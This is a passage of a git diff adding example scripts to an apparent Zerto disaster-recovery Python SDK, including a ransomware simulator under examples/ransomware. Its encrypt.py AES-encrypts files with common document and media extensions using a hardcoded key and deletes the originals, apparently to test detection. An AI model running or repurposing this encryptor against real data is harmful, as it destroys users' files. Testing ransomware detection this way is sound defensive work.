{len(peer_sites)} peer sites:") + logging.info(json.dumps(peer_sites, indent=2)) + + # Check if site2 is already paired and delete if necessary + site2_already_paired = False + site2_identifier = None + for site in peer_sites: + if site['HostName'] == args.site2_zvm_address: + site2_already_paired = True + site2_identifier = site['SiteIdentifier'] + break + + if site2_already_paired: + logging.info(f"\nFound existing pairing with {args.site2_zvm_address}, deleting...") + site1_client.peersites.delete_peer_site(site2_identifier) + logging.info("Existing pairing deleted") + # Wait for deletion to complete + time.sleep(5) + + # Example 2: Generate pairing token at site 2 + logging.info("\nExample 2: Generating pairing token at site 2") + token = site2_client.peersites.generate_token() + logging.info("Generated token:") + logging.info(json.dumps(token, indent=2)) + + # Example 3: Pair site 1 with site 2 + logging.info(f"\nExample 3: Pairing site 1 with site 2 ({args.site2_zvm_address})") + pair_result = site1_client.peersites.pair_site( + hostname=args.site2_zvm_address, + token=token['Token'], + port=9071 + ) + logging.info("Pairing result:") + logging.info(json.dumps(pair_result, indent=2)) + + # Wait for pairing to complete + time.sleep(5) + + # Example 4: Verify pairing by getting updated peer sites list + logging.info("\nExample 4: Verifying pairing by getting updated peer sites list") + updated_peer_sites = site1_client.peersites.get_peer_sites() + logging.info(f"Found {len(updated_peer_sites)} peer sites:") + logging.info(json.dumps(updated_peer_sites, indent=2)) + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/ransomware/create_dataset.py b/examples/ransomware/create_dataset.py new file mode 100644 index 0000000..b150abc --- /dev/null +++ b/examples/ransomware/create_dataset.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 + +import os +import argparse +import logging +import shutil + +def create_dataset(base_dir: str, number_of_files: int): + """Create test files filled with specific content.""" + try: + # Validate input + if number_of_files <= 0: + raise ValueError("Number of files must be positive") + + # Create directory if it doesn't exist + os.makedirs(base_dir, exist_ok=True) + + # Calculate required disk space (approximate) + required_space = number_of_files * 1024 * 1024 # 1MB per file + free_space = shutil.disk_usage(base_dir).free + + if free_space < required_space: + raise ValueError( + f"Not enough disk space. Need {required_space / (1024**3):.2f} GB, " + f"but only {free_space / (1024**3):.2f} GB available" + ) + + # Calculate how many lines we need for ~1MB file + # Each line is about 6 bytes (5 chars + newline) + # 1MB = 1048576 bytes + # Actual calculation: 1048576 / 6 = 174762.67 + lines_per_file = 174763 + + # Create files + for i in range(number_of_files): + file_path = os.path.join(base_dir, f"file{i:04d}.txt") + with open(file_path, 'w') as f: + for _ in range(lines_per_file): + f.write(f'file{i:04d}\n') + + # Log every 100 files + if (i + 1) % 100 == 0: + logging.info(f"Created {i + 1} files...") + + logging.info(f"Created dataset in {base_dir}") + logging.info(f"Total files created: {number_of_files}") + + # Log total size of the dataset + total_size = sum(os.path.getsize(os.path.join(base_dir, f)) + for f in os.listdir(base_dir)) + logging.info(f"Total dataset size: {total_size / (1024*1024):.2f} MB") + logging.info(f"Average file size: {total_size / (number_of_files * 1024*1024):.2f} MB") + + except Exception as e: + logging.error(f"Failed to create dataset: {str(e)}") + raise + +def main(): + parser = argparse.ArgumentParser(description="Create test dataset") + parser.add_argument("--base_dir", default="~/encryption_test", + help="Base directory for test files (default: ~/encryption_test)") + parser.add_argument("--number_of_files", type=int, required=True, + help="Number of files to create") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + # Expand user path (~/...) + base_dir = os.path.expanduser(args.base_dir) + + create_dataset(base_dir, args.number_of_files) + +if __name__ == "__main__": + main() diff --git a/examples/ransomware/decrypt.py b/examples/ransomware/decrypt.py new file mode 100644 index 0000000..ecf6367 --- /dev/null +++ b/examples/ransomware/decrypt.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python3 + +import os +import argparse +import logging +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.backends import default_backend +import base64 +import sys + +def generate_key(password: str) -> bytes: + """Generate an AES key from a password.""" + # Using a fixed key for testing (similar to PowerShell script) + key = "Q5KyUru6wn82hlY9k8xUjJOPIC9da41jgRkpt21jo2L=" + return base64.b64decode(key) + +def decrypt_file(file_path: str, key: bytes) -> bool: + """Decrypt a single file using AES.""" + try: + # Read the encrypted file + with open(file_path, 'rb') as file: + # Read IV (first 16 bytes) and encrypted data + iv = file.read(16) + encrypted_data = file.read() + + # Create AES cipher + cipher = Cipher( + algorithms.AES(key), + modes.CBC(iv), + backend=default_backend() + ) + decryptor = cipher.decryptor() + + # Decrypt the data + padded_data = decryptor.update(encrypted_data) + decryptor.finalize() + + # Remove padding + unpadder = padding.PKCS7(128).unpadder() + decrypted_data = unpadder.update(padded_data) + unpadder.finalize() + + # Write the decrypted data to a new file (remove .encrypted suffix) + decrypted_path = file_path.rsplit('.encrypted', 1)[0] + with open(decrypted_path, 'wb') as file: + file.write(decrypted_data) + + # Remove the encrypted file + os.remove(file_path) + + return True + + except Exception as e: + logging.error(f"Failed to decrypt {file_path}: {str(e)}") + return False + +def decrypt_directory(base_dir: str, password: str): + """Decrypt all encrypted files in the specified directory.""" + try: + # Generate decryption key + key = generate_key(password) + + # Get list of encrypted files + files = [] + for root, _, filenames in os.walk(base_dir): + for filename in filenames: + if filename.endswith('.encrypted'): + files.append(os.path.join(root, filename)) + + total_files = len(files) + + if total_files == 0: + logging.info("No encrypted files found") + return + + logging.info(f"Found {total_files} encrypted files") + + # Track progress + successful = 0 + failed = 0 + + # Process each file + for i, file_path in enumerate(files, 1): + logging.info(f"Decrypting {file_path}") + + if decrypt_file(file_path, key): + successful += 1 + else: + failed += 1 + + # Log progress every 100 files or at the end + if i % 100 == 0 or i == total_files: + logging.info(f"Processed {i}/{total_files} files...") + + # Log final results + logging.info("Decryption complete!") + logging.info(f"Successfully decrypted: {successful} files") + if failed > 0: + logging.warning(f"Failed to decrypt: {failed} files") + + except Exception as e: + logging.error(f"Decryption failed: {str(e)}") + raise + +def main(): + parser = argparse.ArgumentParser(description="Decrypt files in directory") + parser.add_argument("--base_dir", default="~/encryption_test", + help="Base directory containing files to decrypt (default: ~/encryption_test)") + parser.add_argument("--password", required=True, + help="Password for decryption (must match encryption password)") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + # Expand user path (~/...) + base_dir = os.path.expanduser(args.base_dir) + + # Verify directory exists + if not os.path.isdir(base_dir): + logging.error(f"Directory not found: {base_dir}") + sys.exit(1) + + decrypt_directory(base_dir, args.password) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/ransomware/encrypt.py b/examples/ransomware/encrypt.py new file mode 100644 index 0000000..ee47557 --- /dev/null +++ b/examples/ransomware/encrypt.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 + +import os +import argparse +import logging +from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes +from cryptography.hazmat.primitives import padding +from cryptography.hazmat.backends import default_backend +import base64 +import sys + +def generate_key(password: str) -> bytes: + """Generate an AES key from a password.""" + # Using a fixed key for testing (similar to PowerShell script) + key = "Q5KyUru6wn82hlY9k8xUjJOPIC9da41jgRkpt21jo2L=" + return base64.b64decode(key) + +def encrypt_file(file_path: str, key: bytes) -> bool: + """Encrypt a single file using AES.""" + try: + # Read the original file + with open(file_path, 'rb') as file: + file_data = file.read() + + # Create an initialization vector + iv = os.urandom(16) + + # Create AES cipher + cipher = Cipher( + algorithms.AES(key), + modes.CBC(iv), + backend=default_backend() + ) + encryptor = cipher.encryptor() + + # Add padding + padder = padding.PKCS7(128).padder() + padded_data = padder.update(file_data) + padder.finalize() + + # Encrypt the data + encrypted_data = encryptor.update(padded_data) + encryptor.finalize() + + # Write the encrypted data to a new file + encrypted_path = f"{file_path}.encrypted" + with open(encrypted_path, 'wb') as file: + # Write IV first, then encrypted data + file.write(iv) + file.write(encrypted_data) + + # Remove the original file + os.remove(file_path) + + return True + + except Exception as e: + logging.error(f"Failed to encrypt {file_path}: {str(e)}") + return False + +def encrypt_directory(base_dir: str, password: str): + """Encrypt all files in the specified directory.""" + try: + # Generate encryption key + key = generate_key(password) + + # Define target file extensions (same as PowerShell script) + target_extensions = [ + '.pdf', '.xls', '.xlsx', '.ppt', '.pptx', '.doc', '.docx', + '.rtf', '.txt', '.csv', '.jpg', '.jpeg', '.png', '.gif', + '.avi', '.midi', '.mov', '.mp3', '.mp4', '.mpeg', '.mpg', '.ogg' + ] + + # Get list of files to encrypt + files = [] + for root, _, filenames in os.walk(base_dir): + for filename in filenames: + if any(filename.lower().endswith(ext) for ext in target_extensions) and \ + not filename.endswith('.encrypted'): + files.append(os.path.join(root, filename)) + + total_files = len(files) + + if total_files == 0: + logging.info("No files found to encrypt") + return + + logging.info(f"Found {total_files} files to encrypt") + + # Track progress + successful = 0 + failed = 0 + + # Process each file + for i, file_path in enumerate(files, 1): + logging.info(f"Encrypting {file_path}") + + if encrypt_file(file_path, key): + successful += 1 + else: + failed += 1 + + # Log progress every 100 files or at the end + if i % 100 == 0 or i == total_files: + logging.info(f"Processed {i}/{total_files} files...") + + # Log final results + logging.info("Encryption complete!") + logging.info(f"Successfully encrypted: {successful} files") + if failed > 0: + logging.warning(f"Failed to encrypt: {failed} files") + + except Exception as e: + logging.error(f"Encryption failed: {str(e)}") + raise + +def main(): + parser = argparse.ArgumentParser(description="Encrypt files in directory") + parser.add_argument("--base_dir", default="~/encryption_test", + help="Base directory containing files to encrypt (default: ~/encryption_test)") + parser.add_argument("--password", required=True, + help="Password for encryption") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + # Expand user path (~/...) + base_dir = os.path.expanduser(args.base_dir) + + # Verify directory exists + if not os.path.isdir(base_dir): + logging.error(f"Directory not found: {base_dir}") + sys.exit(1) + + encrypt_directory(base_dir, args.password) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/reports_example.py b/examples/reports_example.py new file mode 100644 index 0000000..6e0d5d0 --- /dev/null +++ b/examples/reports_example.py @@ -0,0 +1,41 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Reports Example + +Note: The reports functionality is demonstrated in vpg_failover_example.py, which includes: + +1. Recovery Reports: + - Getting recovery reports for VPGs + - Filtering reports by date range + - Getting specific recovery operation details + - Getting latest failover test reports + +2. Resource Reports: + - Getting resource reports with various filters + - Filtering by site, cluster, and organization + - Getting detailed resource information + +Please refer to vpg_failover_example.py for practical examples of using the reports functionality. + +You can run vpg_failover_example.py with: + python vpg_failover_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl + +For more information about the reports API, see the RecoveryReports class in zvml/recovery_reports.py +""" + +if __name__ == "__main__": + print(__doc__) \ No newline at end of file diff --git a/examples/server_date_time_example.py b/examples/server_date_time_example.py new file mode 100644 index 0000000..15f13ab --- /dev/null +++ b/examples/server_date_time_example.py @@ -0,0 +1,98 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Server Date-Time Example Script + +This script demonstrates how to retrieve server time information in different formats from a Zerto Virtual Manager (ZVM). + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves server time in three different formats: + - Local time + - UTC time + - Argument format (used for API parameters) +3. Displays the time information for each format + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/server_date_time_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +from zvml import ZVMLClient +from zvml.server_date_time import DateTimeFormat + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Server Date-Time Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Test all three date-time formats + logging.info("\nTesting all server date-time formats:") + + # Get local time + local_time = client.server_date_time.get_server_date_time(DateTimeFormat.LOCAL) + logging.info(f"\nLocal Time: {local_time}") + + # Get UTC time + utc_time = client.server_date_time.get_server_date_time(DateTimeFormat.UTC) + logging.info(f"UTC Time: {utc_time}") + + # Get argument format + arg_format = client.server_date_time.get_server_date_time(DateTimeFormat.ARGUMENT) + logging.info(f"Argument Format: {arg_format}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/service_profiles_example.py b/examples/service_profiles_example.py new file mode 100644 index 0000000..a780461 --- /dev/null +++ b/examples/service_profiles_example.py @@ -0,0 +1,111 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Service Profiles Example Script + +This script demonstrates how to retrieve and display service profile information from a Zerto Virtual Manager (ZVM). + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves service profiles (optionally filtered by site) +3. Displays detailed information for each profile: + - Profile name + - RPO settings + - History configuration + - Journal size limits + - Test intervals + - Profile description + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --site_identifier: Site identifier to filter profiles + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/service_profiles_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --site_identifier \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Service Profiles Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--site_identifier", help="Optional site identifier to filter profiles") + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get all service profiles + logging.info("\nFetching service profiles...") + profiles = client.service_profiles.get_service_profiles( + site_identifier=args.site_identifier + ) + + # Display service profiles information + if profiles: + logging.info(f"\nFound {len(profiles)} service profiles:") + for profile in profiles: + logging.info("\nService Profile Details:") + logging.info(f"Name: {profile.get('serviceProfileName')}") + logging.info(f"RPO: {profile.get('rpo')}") + logging.info(f"History: {profile.get('history')}") + logging.info(f"Max Journal Size: {profile.get('maxJournalSizeInPercent')}%") + logging.info(f"Test Interval: {profile.get('testInterval')}") + if profile.get('description'): + logging.info(f"Description: {profile.get('description')}") + logging.info("-" * 50) + else: + logging.warning("No service profiles found") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/tweaks_example.py b/examples/tweaks_example.py new file mode 100644 index 0000000..4804015 --- /dev/null +++ b/examples/tweaks_example.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Tweaks Management Example Script + +This script demonstrates how to manage Zerto system tweaks, which are advanced configuration settings. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Lists all available system tweaks +3. Sets a specific tweak value (t_ransomwareEngCuSumThrsDiff) +4. Displays the updated tweak details +5. Deletes the tweak setting +6. Verifies the deletion by listing tweaks again + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/tweaks_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import argparse +import logging +import urllib3 +import json +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from zvml.zvml import ZVMLClient +from zvml.tweaks import Tweaks +from zvml.common import ZertoTweakType + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def format_tweaks_table(result): + """Format tweaks into a table""" + # Calculate maximum lengths for formatting + max_name_len = max(len(str(tweak.get('name', ''))) for tweak in result) + max_value_len = max(len(str(tweak.get('value', ''))) for tweak in result) + max_type_len = max(len(str(tweak.get('type', ''))) for tweak in result) + max_comment_len = max(len(str(tweak.get('comment', ''))) for tweak in result) + + # Print header + header = f"{'Name':<{max_name_len}} | {'Value':<{max_value_len}} | {'Type':<{max_type_len}} | Description | {'Comment':<{max_comment_len}}" + logging.info(header) + logging.info("-" * len(header)) + + # Print tweaks in a formatted table + for tweak in result: + name = str(tweak.get('name', 'N/A')) + value = str(tweak.get('value', 'N/A')) + tweak_type = str(tweak.get('type', 'N/A')) + description = str(tweak.get('description', 'No description available')) + comment = str(tweak.get('comment', '')) + + logging.info(f"{name:<{max_name_len}} | {value:<{max_value_len}} | {tweak_type:<{max_type_len}} | {description} | {comment}") + + logging.info("-" * 80) + +def manage_tweaks(client: ZVMLClient): + """List and manage ZVM tweaks""" + tweaks = Tweaks(client) + + # Set a specific tweak + tweak_name = "t_ransomwareEngCuSumThrsDiff" + logging.info(f"\nSetting tweak {tweak_name}:") + updated_tweak = tweaks.set_tweak( + tweak_name=tweak_name, + value="5", + tweak_type=ZertoTweakType.ZVM, + comment="mycomment" + ) + + # List all tweaks + logging.info("\nListing all tweaks:") + result = tweaks.list_tweaks() + logging.info(f"Found {len(result)} ZVM tweaks:") + logging.info("-" * 80) + format_tweaks_table(result) + + # Show the specific tweak + logging.info("\nShowing specific tweak details:") + specific_result = tweaks.list_tweaks(tweak_name=tweak_name) + format_tweaks_table(specific_result) + + # Delete the tweak + logging.info(f"\nDeleting tweak {tweak_name}:") + tweaks.delete_tweak(tweak_name) + + # Verify deletion by listing all tweaks again + logging.info("\nVerifying deletion - listing all tweaks:") + result = tweaks.list_tweaks() + logging.info(f"Found {len(result)} ZVM tweaks:") + logging.info("-" * 80) + format_tweaks_table(result) + +def main(): + parser = argparse.ArgumentParser(description="ZVM Tweaks Management Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Setup client + client = setup_client(args) + + # Manage tweaks + manage_tweaks(client) + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/update_existing_vpgs_example.py b/examples/update_existing_vpgs_example.py new file mode 100644 index 0000000..cfc38c4 --- /dev/null +++ b/examples/update_existing_vpgs_example.py @@ -0,0 +1,230 @@ +#!/usr/bin/python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto VPG Bulk Update Example Script + +This script demonstrates how to update multiple Virtual Protection Groups (VPGs) settings in bulk. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Lists peer sites and their resources: + - Available datastores + - Available networks +3. Retrieves current VPG settings for all VPGs +4. Prompts for new settings: + - Target datastore + - Failover network + - Test network +5. Updates all VPGs with the new settings after confirmation + +Required Arguments: + --zvm_address: Site 1 ZVM address + --client_id: Site 1 Keycloak client ID + --client_secret: Site 1 Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/update_existing_vpgs.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import argparse +import logging +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' +) +import urllib3 +import sys +import os +import json +from typing import Dict, List +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def print_site_resources(client, site_identifier: str, site_name: str): + """Print site resources in a visual way""" + print(f"\nSite: {site_name}") + print(f"Site ID: {site_identifier}") + + # Get and print datastores + print("\nDatastores:") + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_identifier) + datastore_map = {} + for idx, ds in enumerate(datastores, 1): + datastore_map[idx] = ds['DatastoreIdentifier'] + name = ds.get('DatastoreName', 'N/A') + logical_name = ds.get('LogicalName', 'N/A') + print(f" {idx}. ID: {ds['DatastoreIdentifier']}") + print(f" Name: {name}") + print(f" Logical Name: {logical_name}") + + # Get and print networks + print("\nNetworks:") + networks = client.virtualization_sites.get_virtualization_site_networks(site_identifier) + network_map = {} + for idx, net in enumerate(networks, 1): + network_map[idx] = net['NetworkIdentifier'] + name = net.get('VirtualizationNetworkName', 'N/A') + print(f" {idx}. ID: {net['NetworkIdentifier']}") + print(f" Name: {name}") + + return datastore_map, network_map + +def get_vpg_settings(client, vpgs: List[Dict]): + """Get current VPG settings""" + vpg_settings = [] + for vpg in vpgs: + vpg_id = vpg['VpgIdentifier'] + vpg_name = vpg['VpgName'] + + # Create new settings based on existing VPG + settings_id = client.vpgs.create_vpg_settings( + basic=None, + journal=None, + recovery=None, + networks=None, + vpg_identifier=vpg_id + ) + + # Get the settings details + settings = client.vpgs.get_vpg_settings_by_id(vpg_settings_id=settings_id) + + vpg_settings.append({ + 'vpg_name': vpg_name, + 'vpg_id': vpg_id, + 'settings_id': settings_id, + 'current_settings': settings, + 'default_datastore': settings.get('Recovery', {}).get('DefaultDatastoreIdentifier'), + 'failover_network': settings.get('Networks', {}).get('Failover', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier'), + 'test_network': settings.get('Networks', {}).get('FailoverTest', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier') + }) + + print(f"\nVPG: {vpg_name}") + print(f" Current Datastore: {settings.get('Recovery', {}).get('DefaultDatastoreIdentifier')}") + print(f" Current Failover Network: {settings.get('Networks', {}).get('Failover', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier')}") + print(f" Current Test Network: {settings.get('Networks', {}).get('FailoverTest', {}).get('Hypervisor', {}).get('DefaultNetworkIdentifier')}") + + return vpg_settings + +def update_vpg_settings(client, vpg_settings: List[Dict], new_datastore: str, new_failover_network: str, new_test_network: str): + """Update all VPG settings with new values""" + for vpg in vpg_settings: + settings = vpg['current_settings'] + + # Update datastore + settings['Recovery']['DefaultDatastoreIdentifier'] = new_datastore + + # Update networks + if 'Networks' not in settings: + settings['Networks'] = {'Failover': {'Hypervisor': {}}, 'FailoverTest': {'Hypervisor': {}}} + + + settings['Networks']['Failover']['Hypervisor']['DefaultNetworkIdentifier'] = new_failover_network + settings['Networks']['FailoverTest']['Hypervisor']['DefaultNetworkIdentifier'] = new_test_network + + # Update the settings + client.vpgs.update_vpg_settings(vpg_settings_id=vpg['settings_id'], payload=settings) + + # Commit the changes + client.vpgs.commit_vpg(vpg['settings_id'], vpg['vpg_name'], sync=False) + + print(f"Updated and committed settings for VPG: {vpg['vpg_name']}") + +def main(): + parser = argparse.ArgumentParser(description="Update existing VPGs settings") + parser.add_argument("--zvm_address", required=True, help="Site 1 ZVM address") + parser.add_argument('--client_id', required=True, help='Site 1 Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Site 1 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + try: + # Setup client + client = setup_client(args) + + # Get peer sites + peer_sites = client.peersites.get_peer_sites() + logging.debug(f"Peer sites: {peer_sites}") + if not peer_sites: + raise ValueError("No peer sites found") + + # Get the first peer site + peer_site = peer_sites[0] + peer_site_id = peer_site['SiteIdentifier'] + peer_site_name = peer_site.get('PeerSiteName') + + # Print resources and get mapping for peer site + datastore_map, network_map = print_site_resources(client, peer_site_id, peer_site_name) + + # Get and print current VPG settings + vpgs = client.vpgs.list_vpgs() + vpg_settings = get_vpg_settings(client, vpgs) + logging.debug(f"VPG settings: {json.dumps(vpg_settings, indent=4)}") + + # Get user input + print("\nEnter sequential numbers for new settings:") + ds_num = int(input("Datastore number: ")) + fo_net_num = int(input("Failover network number: ")) + test_net_num = int(input("Failover test network number: ")) + + # Validate input + if not all(num in datastore_map for num in [ds_num]) or \ + not all(num in network_map for num in [fo_net_num, test_net_num]): + raise ValueError("Invalid sequential number entered") + + # Get actual IDs + new_datastore = datastore_map[ds_num] + new_failover_network = network_map[fo_net_num] + new_test_network = network_map[test_net_num] + + # Confirm with user + print(f"\nAbout to update all VPGs with:") + print(f"New datastore: {new_datastore}") + print(f"New failover network: {new_failover_network}") + print(f"New test network: {new_test_network}") + + if input("\nContinue? (y/n): ").lower() != 'y': + print("Operation cancelled") + return + + # Update all VPGs + update_vpg_settings(client, vpg_settings, new_datastore, new_failover_network, new_test_network) + + print("\nAll VPGs have been updated successfully") + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/virtualization_sites_example.py b/examples/virtualization_sites_example.py new file mode 100644 index 0000000..353d0fd --- /dev/null +++ b/examples/virtualization_sites_example.py @@ -0,0 +1,282 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Virtualization Sites Example Script + +This script demonstrates how to retrieve and manage virtualization site information from Zerto. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Retrieves information about virtualization sites: + - Basic site details + - Unprotected VMs and vApps + - Storage resources (datastores, 